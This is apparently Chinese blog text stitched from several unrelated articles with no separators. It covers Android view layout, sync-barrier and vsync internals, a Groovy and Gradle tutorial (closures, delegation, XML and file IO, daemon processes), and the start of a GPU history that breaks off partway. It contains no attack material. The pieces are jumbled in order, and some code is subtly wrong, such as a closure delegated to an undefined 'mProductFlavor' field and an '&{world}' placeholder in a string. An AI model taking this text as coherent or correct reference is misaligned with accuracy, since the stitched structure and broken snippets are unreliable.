它的作用:
performTraversals()方法特别复杂,给出伪代码如下
private void performTraversals() {
if (!mStopped || mReportNextDraw) {
performMeasure()
}
final boolean didLayout = layoutRequested && (!mStopped || mReportNextDraw);
if (didLayout) {
performLayout(lp, mWidth, mHeight);
}
boolean cancelDraw = mAttachInfo.mTreeObserver.dispatchOnPreDraw() || !isViewVisible;
if (!cancelDraw && !newSurface) {
performDraw();
}
}
复制代码
该方法的作用:
mStopped表示Activity是否处于stopped状态。如果Activity调用了onStop方法,performLayout方法是不会调用的。
//ViewRootImpl.java
private void performLayout(WindowManager.LayoutParams lp, int desiredWindowWidth,
int desiredWindowHeight) {
// ... 省略代码
host.layout(0, 0, host.getMeasuredWidth(), host.getMeasuredHeight());
// ... 省略代码
}
复制代码
回答文章开始的第二个问题:
其二:锁屏后,调用View.requestLayout(),会触发View的测量和布局操作吗?
答:不会,因为当前Activity处于stopped状态了
至此第一层里面留下的小悬念也得以解开,因为不会执行View.layout()方法,所以PFLAG_FORCE_LAYOUT不会被清除,导致接下来的requestLayout方法不会层层往上调用。
至此本文的两个问题都已经得到了答案。
当我把问题提交给鸿洋大佬的wanandroid上时,大佬又给我提了一个问题。
鸿洋大佬:既然Activity的onStop会导致requestLayout layout方法得不到执行,那么onResume方法会不会让上一次的requestLayout没有执行的layout方法执行一次呢?
于是我写了个demo来验证
//MyDemoActivity.kt
override fun onStop() {
super.onStop()
root.postDelayed(object : Runnable {
override fun run() {
root.requestLayout()
println("ChoreographerActivity reqeustLayout")
}
}, 1000)
}
复制代码
在自定义布局的onLayout方法中打印日志
@Override
protected void onLayout(boolean changed, int left, int top, int right, int bottom) {
System.out.println("ChoreographerActivity onLayout");
super.onLayout(changed, left, top, right, bottom);
}
复制代码
锁屏,1s后调用requestLayout,日志没有打印,1s后亮屏,发现日志打印了。
所以
鸿洋大佬:既然Activity的onStop会导致requestLayout layout方法得不到执行,那么onResume方法会不会让上一次的requestLayout没有执行的layout方法执行一次呢?
我:经过demo验证会。原因且听我道来
有了demo找原因就很简单了。正面不好攻破,那就祭出调试大法呗。但是断点放在哪好呢?思考了一番。我觉得断点放在发送同步屏障的地方比较好,ViewRootImpl.scheduleTraversals()。为什么断点放这里?(那你就得了解同步屏障和vsync刷新机制了,后文会讲)
亮屏后,发现断点执行了。从堆栈中可以看出Activity的performRestart()方法执行了ViewRootImpl的scheduleTraversals方法。
虽然,亮屏的时候没有执行View.requestLayout方法,由于锁屏后1s执行了View.requestLayout方法,所以PFLAG_FORCE_LAYOUT标记位还是有的。亮屏调用了performTraversals方法时,会执行Measure、Layout、Draw等操作。
至此,完美回答了粉丝和鸿洋大佬的问题
Handler原理,也是面试必问的问题。涉及到很多知识点。线程、Looper、MessageQueue、ThreadLocal、链表、底层等技术。本文我就不展开讲了。如果对Handler不是很了解。也不影响本层次的学习。但是还是强烈建议看完本文后再另行补课。
A同学:同步屏障。感觉好高大上的样子?能给我讲讲吗?
我:乍一看,是挺高大上的。让人望而生畏。但是细细一想,也不是那么难,说白了就是将Message分成三种不同类型
A同学:此话怎讲,愿闻其详~
我:如下代码应该看得懂吧?
class Message{
int mType;
//同步屏障消息
public static final int SYNC_BARRIER = 0;
//普通消息
public static final int NORMAL = 1;
//异步消息
public static final int ASYNCHRONOUS = 2;
}
复制代码
A同学:这很简单呀,平时开发中经常用不同的值表示不同的类型,但是android中的Message类并没有这几个不同的值呀?
我:Android Message 类确实没有用不同的值来表示不同类型的Message。它是通过target和isAsynchronous()组合出三种不同类型的Message。
消息类型 target isAsynchronous() 同步屏障消息 null 无所谓 异步消息 不为null 返回true 普通消息 不为null 返回false A同学:理解了,那么它们有什么区别呢?
我:世界上本来只有普通消息,但是因为事情有轻重缓急,所以诞生了同步屏障消息和异步消息。它们两是配套使用的。当消息队列中同时存在这三种消息时,如果碰到了同步屏障消息,那么会优先执行异步消息。
A同学:有点晕~
我:别急,且看如下图解
如上图,消息队列中全是普通消息。那么它们会按照顺序,从队首依次出队列。msg1->msg2->msg3
如上图,三种类型消息全部存在,msg1是同步屏障消息。同步屏障消息并不会真正执行,它也不会主动出队列,需要调用MessageQueue的removeSyncBarrier()方法。它的作用就是"警示",后续优先让红色的消息出队列。
2. msg5出队列
postSyncBarrier()和removeSyncBarrier()必须成对出现,否则会导致消息队列出现假死情况。
同步屏障就介绍到这,如果没明白的话,建议网上搜索其它资料阅读。
B同学:vsync机制感觉好高大上的样子?能给我讲讲吗
我:这个东西比较底层了,我也太清楚,但是有一个比较取巧的理解方式。
B同学:说来听听。
我:观察者模式听过吧,vsync信号是由底层发出的。具体情况我不清楚,但是上层有个类监听vsync的信号,当接收到信号时,就会通过Choreographer向消息队列发送异步消息,这个消息的作用之一就是通知ViewRootImpl去执行测量,布局,绘制操作。
//Choreographer.java
private final class FrameDisplayEventReceiver extends DisplayEventReceiver
implements Runnable {
private boolean mHavePendingVsync;
private long mTimestampNanos;
private int mFrame;
@Override
public void onVsync(long timestampNanos, int builtInDisplayId, int frame) {
//...省略其他代码
long now = System.nanoTime();
if (timestampNanos > now) {
Log.w(TAG, "Frame time is " + ((timestampNanos - now) * 0.000001f)
+ " ms in the future! Check that graphics HAL is generating vsync "
+ "timestamps using the correct timebase.");
timestampNanos = now;
}
if (mHavePendingVsync) {
Log.w(TAG, "Already have a pending vsync event. There should only be "
+ "one at a time.");
} else {
mHavePendingVsync = true;
}
mTimestampNanos = timestampNanos;
mFrame = frame;
Message msg = Message.obtain(mHandler, this);
msg.setAsynchronous(true);
mHandler.sendMessageAtTime(msg, timestampNanos / TimeUtils.NANOS_PER_MS);
}
复制代码
ViewRootImpl和Choreographer是绘制机制的两大主角。他们负责功能如下。具体就不展开写了。
再次强调 Groovy 是基于 java 扩展的动态语言,直接写 java 代码是没问题的。上面的 hello world 就是这么跑起来。Groovy 没啥难的,大家把他当做一个新的语言来学下就行,Groovy 本身比较简单也不用我们学习的多深入,能基本使用就可以了,语法糖也没多少,最要的闭包明白就大成了。用的很少的专业一些的 API 大家 baidu 一下就出来了
一看这个就知道也是往高阶语言上靠 <( ̄3 ̄)> 表!,比较新的语言都这样,基本都是大同小异
int name = 10
int age = "AAA"
复制代码
def name = 10
def age = "AAA"
name = "111"
println(name)
复制代码
Groovy 基于 java,所以 java 的基本数据类型都支持,但是 Groovy 中这些基本数据类型使用的都是包装类型:Integer、Boolean 等
int index = 0
println("index == "+index.class)
复制代码
def to(x, y){
x+y
}
def name = 10
def age = 12
name = to name,age
println(name)
复制代码
Groovy 支持单、双、三引号来表示字符串
,${}
引用变量值,三引号是带输出格式的
def world = 'world'
def str1 = 'hello ${world}'
def str2 = "hello ${world}"
def str3 =
'''hello
&{world}'''
复制代码
Groovy ⾃动对成员属性创建 getter / setter,按照下面这个用法调用
class Person{
def name
def age
}
Person person = new Person()
person.name = "AA"
person.setAge(123)
person.@age = 128
println(person.name + " / " + person.age)
复制代码
Groovy 中 ==
就是 equals,没有 ===
了。而是用 .is()
代替,比较是不是同一个对象
class Person {
def name
def age
}
Person person1 = new Person()
Person person2 = new Person()
person1.name = "AA"
person2.name = "BB"
println("person1.name == person2.name" + (person1.name == person2.name))
println("person1 is person2" + person1.is(person2))
复制代码
2 ** 3 == 8
复制代码
def result = name ?: ""
复制代码
println order?.customer?.address
复制代码
def num = 5.21
switch (num) {
case [5.21, 4, "list"]:
return "ok"
break
default:
break
}
复制代码
Groovy 支持三种集合类型:
List
--> 链表,对应 Java 中的 List 接口,一般用 ArrayList 作为真正的实现类Map
--> 哈希表,对应 Java 中的 LinkedHashMapRange
--> 范围,它其实是 List 的一种拓展// --> list
def data = [666,123,"AA"]
data[0] = "BB"
data[100] = 33
println("size --> " + data.size()) // 101个元素
----------------------我是分割线------------------------
// --> map
def key = "888"
def data = ["key1": "value", "key2": 111, (key): 888] // 使用 () key 使用动态值
data.key1
data.["key1"]
data.key2 = "new"
def name2 = "name"
def age2 = 578
data.put(name2, age2)
println("size --> " + data.size()) // 4
println("map --> " + data) // [key1:value, key2:new, 888:888, name:578]
println("key--> " + data.get(key)) // key--> 888
----------------------我是分割线------------------------
// --> range
def data = 1..10
data.getFrom()
data.to()
println("size --> " + data.size())
println("range --> " + data) // range --> 1..10
复制代码
这个是绝对重点,大家到这里认真学呀 (○` 3′○) 学会这个后面就容易理解了,后面都是闭包的应用
闭包(Closure
) 是 Groovy 最重要的语法糖了,我们把闭包当做高阶语法中的对象式函数就行了
官方定义:Groovy中的闭包是一个开放,匿名的代码块,可以接受参数,返回值并分配给变量
// 标准写法,method1 就是一个闭包 (>▽<)
def method1 = { name,age ->
name + age
}
// 调用方式
method1.call(123,888)
method1(123,888)
// 默认有一个 it 表示单个参数
def method3 = { "Hello World!$it" }
// 强制不带参数
def method2 = { ->
name + age
}
// 作为方法参数使用
def to(x, y,Closure closure) {
x + y + closure(111)
}
复制代码
后面大家会经常见到闭包的应用,比如这个自定义 task 任务
task speak{
doLast {
println("AAA")
}
}
复制代码
举这个例子是为了说明,实际闭包都是嵌套很多层使用
通过这个例子大家搞清楚这个嵌套关系就好学了,实际就是一层套一层,有的插件写的我都看吐了
Closure 这东西方便是方便,但是 Closure 里面传什么类型的参数,有几个参数
这些可没有自动提示,想知道详细就得查文档了,这点简直不能忍,我想说官方就不能做过自动提示出来嘛~
复制代码
这是 Gradle 闭包常见方式:
class Person {
String name
int age
}
def cc = {
name = "hanmeimei"
age = 26
}
Person person = new Person()
cc.call()
复制代码
cc 是闭包,cc.call() 调用闭包,cc.call(persen) 这是给闭包传入参数,我们换个写法:
cc.delegate = person
就相当于 cc.call(persen)
这个写法就是:委托
了,没什么难理解的,我这里就是按照最简单的解释来
至于为什么要有委托这种东西,必然是有需求的。我们写的都是 .gradle
脚本,这些脚本实际要编译成 .class
才能运行。也就是说代码实际上动态根据我们配置生成的,传参数也是动态的,委托这一特性就是为了动态生成代码、传参准备的
后面很多 Gradle 中的插件,其 {...} 里面写配置其实走的都是委托这个思路
举个常见的例子,Android {...} 代码块大家熟悉不熟悉,这个就是闭包嵌套,闭包里还有闭包 -->
android {
compileSdkVersion 25
buildToolsVersion "25.0.2"
defaultConfig {
minSdkVersion 15
targetSdkVersion 25
versionCode 1
versionName "1.0"
}
}
复制代码
其实思路很简单,每一个 {...} 闭包都要有一个对应的数据 Bean 存储数据,在合适的时机 .delegate 即可
def android = {
compileSdkVersion 25
buildToolsVersion "25.0.2"
// 这个对应相应的方法
defaultConfig {
minSdkVersion 15
targetSdkVersion 25
versionCode 1
versionName "1.0"
}
}
复制代码
class Android {
int mCompileSdkVersion
String mBuildToolsVersion
BefaultConfig mBefaultConfig
Android() {
this.mBefaultConfig = new BefaultConfig()
}
void defaultConfig(Closure closure) {
closure.setDelegate(mProductFlavor)
closure.setResolveStrategy(Closure.DELEGATE_FIRST)
closure.call()
}
}
class BefaultConfig {
int mVersionCode
String mVersionName
int mMinSdkVersion
int mTargetSdkVersion
}
复制代码
.delegate
绑定数据Android bean = new Android()
android.delegate = bean
android.call()
复制代码
<response version-api="2.0">
<value>
<books>
<book available="20" id="1">
<title>Don Xijote</title>
<author id="1">Manuel De Cervantes</author>
</book>
<book available="14" id="2">
<title>Catcher in the Rye</title>
<author id="2">JD Salinger</author>
</book>
<book available="13" id="3">
<title>Alice in Wonderland</title>
<author id="3">Lewis Carroll</author>
</book>
<book available="5" id="4">
<title>Don Xijote</title>
<author id="4">Manuel De Cervantes</author>
</book>
</books>
</value>
</response>
复制代码
def xparser = new XmlSlurper()
def targetFile = new File("test.xml")
GPathResult gpathResult = xparser.parse(targetFile)
def book4 = gpathResult.value.books.book[3]
def author = book4.author
author.text()
author.@id
author['@id']
author.@id.toInteger()
复制代码
遍历 XML 数据
def titles = response.depthFirst().findAll { book ->
return book.author.text() == '李刚' ? true : false
}
def name = response.value.books.children().findAll { node ->
node.name() == 'book' && node.@id == '2'
}.collect { node ->
return node.title.text()
}
复制代码
Gradle 解析 xml 的意义也就是 AndroidManifest 配置文件了,不难
def androidManifest = new XmlSlurper().parse("./app/src/main/AndroidManifest.xml")
def app = androidManifest.application
println("value -->" + app.@"android:supportsRtl")
复制代码
/**
* 生成 xml 格式数据
* <langs type='current' count='3' mainstream='true'>
<language flavor='static' version='1.5'>Java</language>
<language flavor='dynamic' version='1.6.0'>Groovy</language>
<language flavor='dynamic' version='1.9'>JavaScript</language>
</langs>
*/
def sw = new StringWriter()
// 用来生成 xml 数据的核心类
def xmlBuilder = new MarkupBuilder(sw)
// 根结点 langs 创建成功
xmlBuilder.langs(type: 'current', count: '3',
mainstream: 'true') {
//第一个 language 结点
language(flavor: 'static', version: '1.5') {
age('16')
}
language(flavor: 'dynamic', version: '1.6') {
age('10')
}
language(flavor: 'dynamic', version: '1.9', 'JavaScript')
}
// println sw
def langs = new Langs()
xmlBuilder.langs(type: langs.type, count: langs.count,
mainstream: langs.mainstream) {
//遍历所有的子结点
langs.languages.each { lang ->
language(flavor: lang.flavor,
version: lang.version, lang.value)
}
}
println sw
// 对应 xml 中的 langs 结点
class Langs {
String type = 'current'
int count = 3
boolean mainstream = true
def languages = [
new Language(flavor: 'static',
version: '1.5', value: 'Java'),
new Language(flavor: 'dynamic',
version: '1.3', value: 'Groovy'),
new Language(flavor: 'dynamic',
version: '1.6', value: 'JavaScript')
]
}
//对应xml中的languang结点
class Language {
String flavor
String version
String value
}
复制代码
def reponse = getNetworkData('http://yuexibo.top/yxbApp/course_detail.json')
def getNetworkData(String url) {
//发送http请求
def connection = new URL(url).openConnection()
connection.setRequestMethod('GET')
connection.connect()
def response = connection.content.text
//将 json 转化为实体对象
def jsonSluper = new JsonSlurper()
return jsonSluper.parseText(response)
}
复制代码
Gradle 中操作文件是比不可少的工作了,Grovvy IO API 大家一定要清楚
o(^@^)o 大家写插件、task 时获取项目地址这个点总是要会的,下面的代码不光可以使用 rootProject,每个脚本中的 Project 对象也可以使用的,path 和 absolutePath 都行
println(rootProject.projectDir.path/absolutePath)
println(rootProject.rootDir.path)
println(rootProject.buildDir.path)
/Users/zbzbgo/worksaplce/flutter_app4/MyApplication22
/Users/zbzbgo/worksaplce/flutter_app4/MyApplication22
/Users/zbzbgo/worksaplce/flutter_app4/MyApplication22/build
复制代码
思路就是把指定 path 加入当年项目的根路径中,再构建 File 对象使用
//文件定位
this.getContent("config.gradle", "build.gradle")
// 不同与 new file 的需要传入 绝对路径 的方式
// file 从相对于当前的 project 工程开始查找
def mFiles = files(path1, path2)
println mFiles[0].text + mFiles[1].text
复制代码
或者这样写也是可以的,会在相应的子项目目录下生成文件,这种不用写 this.getContent(XXX)
def file = project.file(fileName)
复制代码
File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
fromFile.eachLine { String line ->
println("line -->" + line)
}
复制代码
line 的 API 还有好几个
File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
fromFile.withInputStream { InputStream ins ->
...... 这里系统会自动关闭流,不用我们自己关
}
def ins = fromFile.newInputStream()
ins.close()
复制代码
Grovvy 的语法糖写起来的简便
File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
File toFile = new File(rootProject.projectDir.path + "/build2.gradle")
fromFile.withInputStream { InputStream ins ->
toFile.withOutputStream { OutputStream out ->
out << ins
}
}
复制代码
copy {
from file(rootProject.rootDir.path+"/build.gradle") // 源文件
into rootProject.rootDir.path // 复制目标地址,这里不用带文件名
exclude()
rename { "build.gradle2" } // 复制后重命名,不写的话默认还是目标文件名
}
复制代码
File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
File toFile = new File(rootProject.projectDir.path + "/build2.gradle")
fromFile.withReader { reader ->
def lines = reader.lines()
toFile.withWriter { writer ->
lines.each { line ->
writer.writeLine(line)
}
}
}
复制代码
File fromFile = new File(rootProject.projectDir.path + "/build.gradle")
File toFile = new File(rootProject.projectDir.path + "/build2.gradle")
fromFile.withObjectInputStream { input ->
toFile.withObjectOutputStream { out ->
out.writeObject( input.readObject() )
}
}
复制代码
def file = new File(baseDir, 'test.txt')
byte[] contents = file.bytes
复制代码
def dir = new File("/")
//eachFile()方法返回该目录下的所有文件和子目录,不递归
dir.eachFile { file ->
println file.name
}
dir.eachFileMatch(~/.*\.txt/) {file ->
println file.name
}
-------------------分割线-------------------
def dir = new File("/")
//dir.eachFileRecurse()方法会递归显示该目录下所有的文件和目录
dir.eachFileRecurse { file ->
println file.name
}
dir.eachFileRecurse(FileType.FILES) { file ->
println file.name
}
-------------------分割线-------------------
dir.traverse { file ->
//如果当前文件是一个目录且名字是bin,则停止遍历
if (file.directory && file.name=='bin') {
FileVisitResult.TERMINATE
//否则打印文件名字并继续
} else {
println file.name
FileVisitResult.CONTINUE
}
}
复制代码
boolean b = true
String message = 'Hello from Groovy'
def file = new File(baseDir, 'test.txt')
// 序列化数据到文件
file.withDataOutputStream { out ->
out.writeBoolean(b)
out.writeUTF(message)
}
// ...
// 从文件读取数据并反序列化
file.withDataInputStream { input ->
assert input.readBoolean() == b
assert input.readUTF() == message
}
复制代码
def process = "ls -l".execute()
println(process)
上文书 Gradle 运行在 JVM 之上, 因此需要 JDK1.8 或以上 java 环境
从 Gradle 官方上下载,地址:Gradle 官网下载地址,选择 .all
的包下载,我下的是 6.6.1,尽量选择较新的版本
build.gradle
脚本文件 Gradle 工具版本号buildscript {
repositories {
google()
jcenter()
}
dependencies {
...
classpath 'com.android.tools.build:gradle:4.0.1'
...
}
}
复制代码
这里 Gradle 工具的版本号要跟着 AS 的版本号走,AS 是哪个版本,这里就写哪个版本。Gradle 工具中的 API 是给 AS 用的,自然要跟着 AS 的版本变迁
当然这也会对 Gradle 构建工具版本有要求:
Gradle 拥有良好的兼容性,为了在没有 Gradle 环境的机器上也能顺利使用 Gradle 构建项目,AS 新创建的项目默认会在根目录下添加 wrapper 配置
其中 gradle-wrapper.properties
文件中提供了该项目使用的 Gradle 构建工具远程下载地址,这里会对应一个具体的版本号,IDE 开发工具默认会根据这个路径去下载 Gradle 给该项目使用
distributionUrl=https\://services.gradle.org/distributions/gradle-6.1.1-all.zip
复制代码
这样就会产生一个问题:
每个项目单独管理自己的 gradle,很可能会造成机器上同时存在多个版本的 Gradle,进而存在多个版本的 Daemon 进程,这会造成机器资源吃紧,即便关闭 AS 开发工具也没用,只能重启机器才会好转
所以这里我推荐,尤其是给使用 AS 的朋友推荐:在本地创建 Gradle 环境,统一管理 Gradle 构建工具,避免出现多版本同时运行的问题。AS 本身就很吃内存了,每一个 Daemon 构建进程起码都是 512M 内存起步的,多来几个 Daemon 进程,我这 8G 的 MAC 真的搂不住
gradle-wrapper.properties
-- 使用 wrapper 也就是 AS 来管理 GradleSpecifiled location
-- 使用本地文件,也就是我们自己管理 Gradlegradle-wrapper.properties
文件这里只说 MAC 环境
open -e .bash_profile
打开配置文件GRADLE_HOME
、PATH
export GRADLE_HOME=/Users/zbzbgo/gradle/gradle-6.6.1
export PATH=${PATH}:/Users/zbzbgo/gradle/gradle-6.6.1/bin
----------------官方写法如下--------------------------------
export GRADLE_HOME=/Users/zbzbgo/gradle/gradle-6.6.1
export PATH=$PATH:$GRADLE_HOME/bin
复制代码
source .bash_profile
重置配置文件,以便新 path 生效open -e ~/.zshrc
打开另一个配置source ~/.bash_profile
source ~/.zshrc
重置配置文件配置 zshrc 是因为有的机器 bash_profile 配置不管用,添加这个就行了
运行 gradle --version
,出现版本号则 Gradle 配置成功
学习新语言我们都喜欢来一次 hello world,这里我们也来一次
随便创建一个文件夹,在其中创建一个文件,以.gradle
结尾,使用 text 编辑器打开,输入:
println("hello world!")
复制代码
然后 gradle xxx.gradle
执行该文件
OK,成功,大家体验一下,groovy 是种语言,gradle 是种构建工具,可以编译 .gradle
文件
我们平时都是用 AS 开发的,AS 创建 Android 项目时默认就会把 Gradle 相关文件都创建出来。其实 Gradle 和 git 一样,也提供了 init 初始化方法,创建相关文件
运行 init 命令要选择一些参数,其过程如下:
gradle init
命令上面虽然说了用 AS 开发我们最好使用本地 Gradle 文件的方式统一配置、管理 Gradle 构建工具,但是 AS Android 项目中的 Wrapper 文件夹的内容还是有必要了解一下的,这可以加深我们对 Gradle 下载、管理的了解
Gradle Wrapper 文件的作用就是可以让你的电脑在不安装配置 Gradle 环境的前提下运行 Gradle 项目,你的机器要是没有配 Gradle 环境,那么你 clone gradle 项目下来,执行 init 命令,会根据 gradle-wrapper.properties 文件中声明的 gradle URL 远程路径去下载 gradle 构建工具,cd 进该项目
gradle -v
--> linux 平台命令gradlew -v
--> window 平台命令然后就可以在项目目录下运行 gradle 命令了,不过还是推荐大家在机器配置统一的 Gradle 环境
gradlew
--> linux 平台脚本gradlew.bat
--> window 平台脚本gradle-wrapper.jar
--> Gradle 下载、管理相关代码gradle-wrapper.properties
--> Gradle 下载、管理配置参数gradle-wrapper.properties 文件中参数详解:
distributionUrl
--> Gradle 压缩包下载地址zipStoreBase
--> 本机存放 Gradle 压缩包主地址zipStorePath
--> 本机存放 Gradle 压缩包主路径distributionBase
--> 本机 Gradle 压缩包解压后主地址distributionPath
--> 本机 Gradle 压缩包解压后路径C:/用户/你电脑登录的用户名/.gradle/
~/.gradle/
这几个地址还是要搞清楚的~
对于拦路虎、大 Boss,理论先于实际。手握理论的浮尘,方能遇坑过坑、遇水搭桥 (๑•̀ㅂ•́)و✧
简单的说就是自动化的编译、打包程序
我们来回忆一下,入门 java 那会,大家都写过 Hello Wrold!吧。然后老师让我们干啥,javac
编译, java
运行。在这里编译需要我们手动执行一次 javac,大家想过没有,要是有100个文件呢?那我们就得手动 100次 javac 编译指令
到这里大家都会想到自动化吧,是的,自动化编译工具就是最早的构建工具了。然后我们拓展其功能,比如说:
.jar
文件.jar
出来上面都是我臆想的,不过我觉得发展的历程大同小异。随着需求叠加、平台扩展,对代码最终产品也是有越来越多的要求。jar/aar/exe 这些打包时有太多的不一样,我们是人不是机器,不可能记得住的这些差异不同。那就必须依靠自动化技术、工具,要能支持平台、需求等方面的差异、能添加自定义任务的、专门的用来打包生成最终产品的一个程序、工具,这个就是构建工具。构建工具本质上还是一段代码程序
我这样说是想具体一点,让大家有些代入感好理解构建工具是什么。就像下图,麦子就是我们的代码、资源等,草垛就是最终打包出来的成品,机器就是构建工具。怎么打草垛我们不用管,只要我们会用机器就行了
Android 项目这么多东西,既有我们自己写的 java、kotlin、C++、Dart 代码,也有系统自己的 java、C++ 代码,还有引入的第三方代码,还有图片、音乐、视频文件,这么多代码、资源打包成 APK 文件肯定要有一个规范,干这个活的就是我们熟悉的 gradle 了
APK 文件我们解压可以看到好多文件和文件夹,具体不展开了
不用把 Gradle 想的太难了,Gradle 就是帮我们打包生成 apk 的一个程序。难点的在于很灵活,我们可以在其中配置、声明参数、执行自己写的脚本、甚至导入自己的写的插件,来完成我们自定义的额外的任务。但是不要本末倒置,Gradle 就是帮我们打包 APK 的一个工具罢了
下面3段话大家理解下,我觉得说的都挺到位的,看过后面还可以翻回来看这3句话,算是对 Gradle 的总结性文字了,很好~
Gradle 是通用构建、打包程序,可以支持 java、web、android 等项目,具体到你的平台怎么打包,还得看你引入的什么插件,插件会具体按照我们平台的要求去编译、打包。比如我引入的:apply plugin: 'com.android.application',我导入的是 android 编译打包插件,那么最终会生成 APK 文件,就是这样。我引入的:apply plugin: 'com.android.library' android lib 库文件插件,那么最终会生成 aar 文件
Gradle中,每一个待编译的工程都叫一个Project。每一个Project在构建的时候都包含一系列的Task。比如一个Android APK的编译可能包含:Java源码编译Task、资源编译Task、JNI编译Task、lint检查Task、打包生成APK的Task、签名Task等。一个Project到底包含多少个Task,其实是由编译脚本指定的插件决定。插件是什么呢?插件就是用来定义Task,并具体执行这些Task的东西
Gradle是一个框架,作为框架,它负责定义流程和规则。而具体的编译工作则是通过插件的方式来完成的。比如编译Java有Java插件,编译Groovy有Groovy插件,编译Android APP有Android APP插件,编译Android Library有Android Library插件。Gradle中每一个待编译的工程都是一个Project,一个具体的编译过程是由一个一个的Task来定义和执行的。一个Project到底包含多少个Task,其实是由编译脚本指定的插件决定。插件是什么呢?插件就是用来定义Task,并具体执行这些Task的东西
Gradle 是运行在 JVM 实例上的一个程序,内部使用 Groovy 语言
Groovy 是一种 JVM 上的脚本语言,基于 java 扩展的动态语言
Gradle 简单来说就是在运行在 JVM 上的一个程序罢了,虽然其使用的是 Groovy 这种脚本语言,但是 Gradle 会把 .gradle
Groovy 脚本编译成 .class
java字节码文件在 JVM 上运行,最终还是 java 这套东西
Android 项目里 settings.gradle
、诸多build.gradle
脚本都会编译成对应的 java 类:Setting
、Project
再去运行,引入的插件也是会编译成对应的 java 对象再执行构建任务
Gradle 内部是一个个编译、打包、处理资源的函数或者插件(函数库),可以说 Gradle 其实就是 API 集合,和我们日常使用的 Okhttp 框架没什么区别,里面都是一个个 API,区别是干的活不同罢了
打开 Gradle 文件目录看看,核心的 bin 文件就一个 gradle 脚本,这个脚本就是 Gradle 核心执行逻辑了,他会启动一个 JVM 实例去加载 lib 中的各种函数去构建项目,这么看 gradle 其实很简单、不难理解
红框里的是 Gradle 自带的内置插件,apply plugin: 'com.android.library'
、apply plugin: 'com.android.application'
这些都是 gradle 自带的内置插件
19 年 Gradle 提供了中国区 CDN,AS 下载 Gradle 不再慢的和蜗牛一样了
Gradle 构建工具在不同场景下会分别使用3个 JVM 进程:
client
Daemon
wrapper
来自Gradle开发团队的Gradle入门教程 --> 官方宣传中这里解释的很清楚,比官方文档都清楚的多
client 进程是个轻量级进程,每次构建开始都会创建这个进程,构建结束会销毁这个进程。client 进程的任务是查找并和 Daemon 进程通信:
像 gradle.properties
里面设置的参数,全局 init.gradle
初始化脚本的任务这些都需要 client 进程传递给 Daemon 进程
Daemon 进程负责具体的构建任务。我们使用 AS 打包 APK 这依靠的不是 AS 这个 IDEA 开发工具,而是 Gradle 构建工具自己启动的、专门的一个负责构建任务的进程:Daemon
。每一个版本的 Gradle 都会对应创建一个 Daemon 进程
Daemon 进程不依赖 AS 而是独立存在,是一个守护进程,构建结束 Daemon 进程也不会销毁,而是会休眠,等待下一次构建,这样做是为了节省系统资源,加快构建速度,Daemon 进程会缓存插件、依赖等资源
必须注意: 每一个 Gradle 版本都会对应一个 Daemon 进程,机器内若是运行过多个版本的 Gradle,那么机器内就会存在多个 Daemon 进程,AS 开发 android 项目,我推荐使用 Gradle 本地文件,不依靠每个 android 项目中 wrapper 管理 gradle 版本,具体后面会说明
从性能上讲:
gradle --status
命令可以查看已启动的 daemon 进程情况:
➜ ~ jps
39554 KotlinCompileDaemon
39509 GradleDaemon
39608
39675 Jps
➜ ~ gradle --status
PID STATUS INFO
39509 IDLE 6.6.1
// INFO 是 gradle 版本号
// Kotlin 语言编写的 Gradle 脚本需要一个新的 daemon 进程出来
复制代码
若是机器内已经启动了多个 Daemon 进程也不要紧,自己手动杀进程就是了
Daemon 进程在以下情况时会失效,需要启动新的 Daemon 进程,判断 Daemon 进程是否符合要求是上面说的 client 进程的任务:
修改 JVM 配置这回造成启动新的构建进程
Gradle 将杀死任何闲置了3小时或更长时间的守护程序
一些环境变量的变化,如语言、keystore、keyStorePassword、keyStoreType 这些变化都会造成旧有的守护进程失效
即便时同一个版本的 Gradle,也会因为 VM 配置不同而存在多个相同 Gradle 版本的 Daemon 进程。比如同时启动好几个项目,项目之间使用的 Gradle 版本相同,但是 VM 使用的不同配置
wrapper 进程啥也不干,不参与项目构建,唯一任务就是负责下载管理 Gradle 版本。我们导入 Gradle 项目进来,client 进程发现所需版本的 Gradle 本机没有,那么就会启动 wrapper 进程,根据 gradle.properties
里面的参数去自行 gradle-wrapper.jar
里面的下载程序去下载 Gradle 文件
其他开发工具,我们直接使用 wrapper 来管理 Gradle 的话也是会启动 wrapper 进程的,完事 wrapper 进程会关闭
作为程序员,我们或多或少知道可视化应用程序都是由 CPU 和 GPU 协作执行的。那么我们就先来了解一下两者的基本概念:
1.CPU(Central Processing Unit):现代计算机的三大核心部分之一,作为整个系统的运算和控制单元。CPU 内部的流水线结构使其拥有一定程度的并行计算能力。
2.GPU(Graphics Processing Unit):一种可进行绘图运算工作的专用微处理器。GPU 能够生成 2D/3D 的图形图像和视频,从而能够支持基于窗口的操作系统、图形用户界面、视频游戏、可视化图像应用和视频播放。GPU 具有非常强的并行计算能力。
这时候可能会产生一个问题:CPU 难道不能代替 GPU 来进行图形渲染吗?答案当然是肯定的,不过在看了下面这个视频就明白为什么要用 GPU 来进行图形渲染了。
GPU CPU 模拟绘图视频
使用 GPU 渲染图形的根本原因就是:速度。GPU 的并行计算能力使其能够快速将图形结果计算出来并在屏幕的所有像素中进行显示。
那么像素是如何绘制在屏幕上的?计算机将存储在内存中的形状转换成实际绘制在屏幕上的对应的过程称为 渲染。渲染过程中最常用的技术就是 光栅化。
关于光栅化的概念,以下图为例,假如有一道绿光与存储在内存中的一堆三角形中的某一个在三维空间坐标中存在相交的关系。那么这些处于相交位置的像素都会被绘制到屏幕上。当然这些三角形在三维空间中的前后关系也会以遮挡或部分遮挡的形式在屏幕上呈现出来。一句话总结:
光栅化就是将数据转化成可见像素的过程。
GPU 则是执行转换过程的硬件部件。由于这个过程涉及到屏幕上的每一个像素,所以 GPU 被设计成了一个高度并行化的硬件部件。
下面,我们来简单了解一下 GPU 的历史。
GPU 历史
GPU 还未出现前,PC 上的图形操作是由 视频图形阵列(VGA,Video Graphics Array) 控制器完成。VGA 控制器由连接到一定容量的DRAM上的存储控制器和显示产生器构成。
1997 年,VGA 控制器开始具备一些 3D 加速功能,包括用于 三角形生成、光栅化、纹理贴图 和 阴影。
2000 年,一个单片处图形处理器继承了传统高端工作站图形流水线的几乎每一个细节。因此诞生了一个新的术语 GPU 用来表示图形设备已经变成了一个处理器。
随着时间的推移,GPU 的可编程能力愈发强大,其作为可编程处理器取代了固定功能的专用逻辑,同时保持了基本的 3D 图形流水线组织。
